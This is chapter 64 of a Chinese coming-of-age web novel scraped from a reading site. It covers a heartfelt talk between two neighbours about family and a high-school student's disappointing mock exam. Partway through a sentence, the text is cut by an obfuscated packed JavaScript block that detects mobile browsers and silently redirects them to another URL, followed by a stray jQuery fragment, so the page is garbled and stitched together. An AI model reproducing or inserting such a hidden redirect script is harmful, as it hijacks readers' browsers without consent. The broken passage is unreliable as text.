默认冷灰
24号文字
方正启体

64. 重点

作者:祝今也本书字数:K更新时间:
    耳朵听到挂断的声音,还要再看一眼页面,江今澄才放心放下手机。


    “怎么样?够你喝完可乐吗?”


    走过来的几步里许松年就单手开好了易拉罐递给她,气泡太多,吸管插不到底,虚浮着,要她用手捏着压下去才行。


    “当然够,我妈刚开完会,还要买点菜回来。”


    “那还好,你们零模考了吗?”


    “没有,要到十几号,昨天考的模拟考,还没出分。”


    带着气的可乐用吸管吸上来还是有些呛人,江今澄喝一口就要缓一下。


    “放轻松考,零模一般成绩比较低,等到一模二模就好了。”


    “你零模也低吗?”


    “低,差点以为考不上大学。”


    许松年少有地叹了口气。


    “我哥也低吗?”


    “你哥,不低。”


    许松年又叹了口气。


    离了手的白色吸管靠在金属环形边,气泡已经消下去大半,不会把吸管顶上来。


    许松年注意到江今澄动作,以为江今澄要问零模或者他和边缘高三的事。


    但问题,不在他的预设中。


    “你和我哥现在关系还好吗?”


    “好啊,怎么了?”


    许松年接话很快。


    “感觉你们比以前生疏了。”


    “可能见得少了吧,平时都发微信。都上大学了相处方式肯定也会和高中有点区别。”


    “也是。”


    涌到拉环外的气泡始终没有消下去,没有任何缝隙地挤在一起,时不时发出细小的爆裂声。


    江今澄低头抿了口,没有一开始那么呛人,气也很足,刚刚好。


    “大学生肯定和高中生不一样嘛。”


    她安慰似的开导许松年。


    “对,不一样。”


    许松年轻声复述她的话。


    “哦对,你之前问我高中成人礼的事,当时在学校身边没有小时候照片,前几天去城南拿了相册回来,要看吗?”


    “能看吗?”


    “当然。”


    许松年起身膝盖碰到茶几,易拉罐稍稍偏移原本位置,凝成的水珠连成一条线直直流下来。在茶几上留下圆弧似的水痕。


    江今澄从桌面抽张纸擦干叠好塞回自己口袋,再抬眼许松年就出现在视野中。


    “感冒了?有乳霜纸要吗?”


    茶几下面还有一层,但因为是黑色玻璃她看不清下面有什么,还没拆封的乳霜纸推到她手边,江今澄觉得好笑又无奈地开口:“没感冒,有水我擦擦。”


    “待会我擦就行,看照片吧。”


    A4纸大小的相册和长方形的集体照同时递到江今澄身前。


    “怎么还有毕业照?”


    “我小时候照片不太多,毕业照也算小时候,这幼儿园,这小学。”


    许松年直接指出他在照片上的位置,可江今澄还是低头比对了下姓名。


    “变化很大吗?”


    “不大,能认出来是你。”


    “你小时候挺可爱嘛,脸圆圆的。”


    许松年头也凑过去认真看了看,没觉得可爱。


    “你去城南的房子远吗?”


    江今澄翻着相册问许松年。


    “不远。”


    “那你考完驾照还搬回城南吗?”


    “不搬,这我家。”


    这话说得像江今澄想占他们家房子。


    相册不厚,还空了不少,江今澄简单翻完合上压在许松年幼儿园和小学毕业照上。


    不知道边兰什么时候回家,她觉得自己该上去了。


    再问最后一个问题。


    “其实我有件事蛮早就想问你,但我想你都搬走了问也没有意义,现在搬回来,那我正好问一下。”


    “说。”


    “你当时是不是不想搬去城南?”


    她身子往前探了些问,黑白分明的眼眸清晰倒影着呆滞几秒后的许松年。


    “你指和我爸妈住?”


    许松年晃过神问她。


    “对。当时叔叔和你说话感觉你爱搭不理的,过年你也不回家,所以你是不是不想和他们住。”


    许松年读大学后江今澄就没在这栋楼再见过他父母,江今澄以为是自己平时早六晚十的作息太阴间,但问边兰也说没见过。


    “那我和你说说?”


    他掀起眼皮试探性地开口。


    “说!”


    江今澄双臂叠放在身前,一副好学生听课的模样。


    和别人讲自己对父母的态度,很难精准。时间跨度太长,细节也太多。


    “其实我们家关系一直比较淡。”


    “他们工作忙,小学我就在学校食堂或者外面吃饭,学习上他们也不怎么管我。后来上高中,我爸妈经常因为一些小事吵架。因为医院同事,因为我高考,因为晾衣服倒垃圾等等任何你能想到的事。然后我就搬到了这儿。”


    “一开始我真的认为他们吵架和我无关,大人是大人的事,也只能他们解决,解决不了就分开,没什么大不了。”


    “后来他们和好要搬回去,我也没什么想法。他们的事解决了,那我听安排就好。如你所见,我并不情愿搬回去。”


    斜打进来的琥珀色日光在消褪,因醇厚柔润日光而覆上温和滤镜的屋内渐渐显出冷调,像在针脚细密的围巾发现一个线头。


    线头一直存在,只是因某些东西模糊了它的存在。


    “我想了很久为什么我会不情愿,直到合格考那天,你说你也不猜不准我的想法。”


    话忽然顿在这里,像被截断的流水。不上不下的,但许松年很快又说了下去。


    “我一直觉得他们吵架是因为不肯将矛盾摊开说明白,两个人猜来猜去。我以为自己不会成为这样的人,但不是。潜移默化中我也变成喜欢让别人猜的那个。”


    “我不希望他们吵架,我还希望他们能在我不开口的前提下察觉我的情绪我的想法,但他们忽略了。所以后来我一直觉得这事与我无关。等他们和好又搬回城南我非常不爽,因为自始至终他们没问过我的想法。”


    许松年几乎没有这样完整地讲过他的家庭,也从未说过这么多话。他说得太真挚太坦诚,以至于江今澄有点后悔问了。


    她怕担不起许松年对她的信任。


    “那你后来和他们再聊过这件事吗?”


    “嗯。想明白之后我就和他们聊了,总让别人来猜就把决定权给了别人。”


    “那你们和好了?”


    迎着江今澄亮亮的眼眸,许松年弯弯嘴角点头说:“和好了。”


    “那就好。”


    她松了口气。


    “怎么感觉你比我还在乎和没和好?”


    “当然了,和好了你肯定更开心点,我希望你开心嘛。”


    易拉罐凝出的水珠大小不一,像气泡般细密。她摸着杯壁,指腹被润湿,掩住复杂的纹路。


    “谢谢你。”


    “不客气。”


    “我讲这些会让你有负担吗?”


    “不会。”


    江今澄用力摆手,成真和她说要转班的事尚且不会觉得负担,更何况许松年。


    刚认识时她那么丢人在楼下哭诉边兰和江建明落在她身上能压死人的期待,后来又经常因为各种事打扰许松年。


    许松年愿意和她说,是信任她,她会担起许松年的信任。


    “其实这也不能怪你。父母本来就有责任维持和谐的家庭关系,好的家庭环境小孩才能健康成长嘛,那生活在一个父母天天吵架的环境里人肯定会受影响。”


    “而且你能直接和他们说你觉得自己被忽略了,这说明你会发现问题。发现问题是一个人进步的开始。”


    她说得有道理,但是太有道理,许松年忍不住笑了。


    “你在哪看的这些?”


    “我妈教案上。有时候还让我帮她抄呢,我妈学了那么多教育学知识,一到我身上跟从没学过一样。我说她和书上写的不一样,属于反面教材还不承认。”


    “不说我,还是说你。”


    润湿的指腹蒸发很快,江今澄又能看清上面的纹路。喝了最后几口饮料,抬起头很认真地和许松年说。


    “我那天说猜不准你的想法只是觉得你教我的再用在你身上挺有意思,因为你脾气好,我觉得你不会生气。没想到你回去细想了,不好意思。”


    “而且人总有难言的时候,不能要求别人什么都说出来,每个人性格也不一样,有的人觉得说出来就舒服了,有的人喜欢自己调节。找到适合自己的方式就好了。”


    许松年垂在身侧的另一只手也搭上茶几,身子微微前倾,似是想说话,江今澄伸手拦住他开口的可能。


    “等我说完,还有一句话。”


    “你说你说。”


    外面天色将暗未暗,霞光在消褪,静谧的蔚蓝色降临,慢慢占据整片天空。一天即将过去,什么都变得无关紧要。


    许松年只关心眼前人和还未说出口的话。


    “你之前和说我不要把评价标准交给别人。虽然不知道你有没有找到评价自己的标准,还会不会在乎别人的看法。但在我这里,你非常好。”


    “你这不止一句话。”


    “这不是重点好吧。”


    江今澄轻轻捶了下茶几,震动几乎没有延迟传到许松年那侧,但幅度太小,他没什么感受。


    只是心跳得有点快。


    周遭声响和气息都虚虚漂浮在空中,有种不真切的感觉。


    和江今澄在一起的很多时候,他都觉得不真切。


    “那什么是重点?”


    极有蛊惑性的一句话。


    她知道许松年想听什么。


    喝了许松年那么多饮料又吃了那么多东西,一句话不算什么事。


    “你好,非常好,特别特别好。”


    “回家了,不跟你聊。”


    ——


    开学典礼照例高考完的优秀毕业生发言,一点意思没有。


    她又考不上清北,奖


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16461647|174544||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    学金也排不到她。除了被太阳晒得脸发红,什么也没有。


    如果把高三看成一本书,那一场场考试就是书签。最先到来的书签是零模。


    零模,讨厌的零模,该死的零模,天杀的零模。


    扶着眼镜框看清一体机屏幕上的数字,江今澄满脑子只有三个字,完蛋了。


    想过考得低,没想过会这么低,她也觉得考不上大学了。


    “这已经赋过分了是吗?整个榆海大市赋分?”


    “是的,这就是最终成绩。”


    杜宁平静地点头,半垂的眼皮遮住一部分瞳仁,像不流动的深水。


    “你困了还是觉得没考好?”


    已经是最后一节晚自习,平常这个时间江今澄和杜宁都哈欠连天。而她分析人情绪的能力还有待提升,至少现在,她不确定杜宁的安静出于什么。


    “又困又累。”


    说完杜宁打了个哈欠,江今澄也松了口气。


    “都看好了吧,咱班有多少裸分全部及格的,站起来我看看。”


    班主任饶有兴致地鼓励他们,但大家你看看我我看看你,没人挪动。


    主科不及格的少,主要是小科。


    八面生物试卷好不容易做到最后两面,一看字图,又是密密麻麻的基因工程。她碎头发都被捋掉几根,十二分的大题,只能确保对三个空。


    见没人动,班主任下台阶,把坐在过道的第一名薅起来,其他人才陆续站起来。


    江今澄粗略扫了眼,十来个人,不到班内一半。


    “各位同学不要灰心,考得低就对了,考得低下次才能考高。班长把那个成绩记录册发下去了吧,这个本子专门记重要模考成绩,等明年五六月份你们再翻开,那感受很不一样的。”


    “都好好保管,也别不好意思空在那不写,写给你们自己看的,我又不看。”


    册子很薄,确实就几页,没怎么翻就没了。


    江今澄提笔往上写各科成绩,还有最后一门政治没写,杜宁忽然侧着身子用手挡嘴小声对她说:“今天学校发工资吗?班主任心情怎么那么好?”


    她微微昂头从斜前方两个男生肩头闪出的缝隙看班主任脸色,确实很开心,不是为了安慰他们装的那种开心。


    可他们班这次考得并不好。


    “可能因为我们考差的时候比较安静,好管吧。”


    她们凑得有些近,而江今澄一脸认真,看得杜宁想笑,但班内热闹已经过去。


    刚刚还能借前桌后背遮挡偷看班主任脸色,现在大家都低下头做卷子,怎么看,她们的小动作都一览无余。


    “有点道理,写卷子吧。”


    江今澄点点头,没再说话。


    还没回家,她就知道这一个月应该不会好过。


    “满分是七百五吧,我应该没记错吧。刚过一本线三十多分,你准备以后去哪深造。”


    擦拭过的镜子依然蒙了层水雾,边兰慢斯条理抹着江今澄叫不出名的瓶瓶罐罐。


    一中成绩不会公开让家长知道,她瞎说个分数边兰也不知真假还能免顿骂。可能是挨骂挨多了,也可能是她现在没那么在乎边兰怎么想她。


    还是诚实地报了出来。


    “开家长会时候,你班主任让家长不要离婚,老人也都照顾好身体,尽量不生病,对你要多鼓励少批评,说怕影响你们心态。条件创造好了,没见着成绩。假期找个补习班你还不情不愿,现在高三那么忙,你考不好能怎么办。”


    边兰很少这样和江今澄讲话,听得江今澄有种眼前的洗手台是办公室实木桌的错觉。


    说来边兰到底是老师,这种训话更是手拿把掐,只是以往对于她的成绩太过看重,情绪也总是大起大落,才让江今澄忘了曾经她们也是师生关系。


    “对我很失望吗?因为比我哥差很多。”


    许松年说过边缘零模成绩很好,似乎也没有从许松年那求证的必要,无论什么时候,边缘总是一骑绝尘。


    “这么多年你不一直这样。”


    边兰拧上小罐盖子打开水龙头洗手。洗手池没能兜住向外飞溅的水滴,她手背也沾了几滴。


    是热水。


    开了门的卫生间温度渐渐降下去,边兰用洗脸巾擦了遍镜子,扔到垃圾桶再走回来发现江今澄还站在洗手台旁。


    “你明天不上课啦?有这时间在这杵着不睡觉不如去写会儿题,想考好就下功夫,你不学成绩怎么上去。”


    “哦。”


    她低低答应了一声,垂头往卧室走。


    回来路上江今澄想了很多怎么和边兰解释。比如一轮复习刚开始考的范围太广好多人不及格,他们班第一也没上六百,而且和考得很好的期末相比排名也没退太多。


    但边兰轻飘飘地说出那句这么多年她一直这样,所有提前准备好的解释都成了笑话,边兰根本不在乎她这次考试什么原因没考好。


    因为这么多年她一直这样,她一直比边缘差,对她失望也很正常。


    边兰又没说错,难受什么呢。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)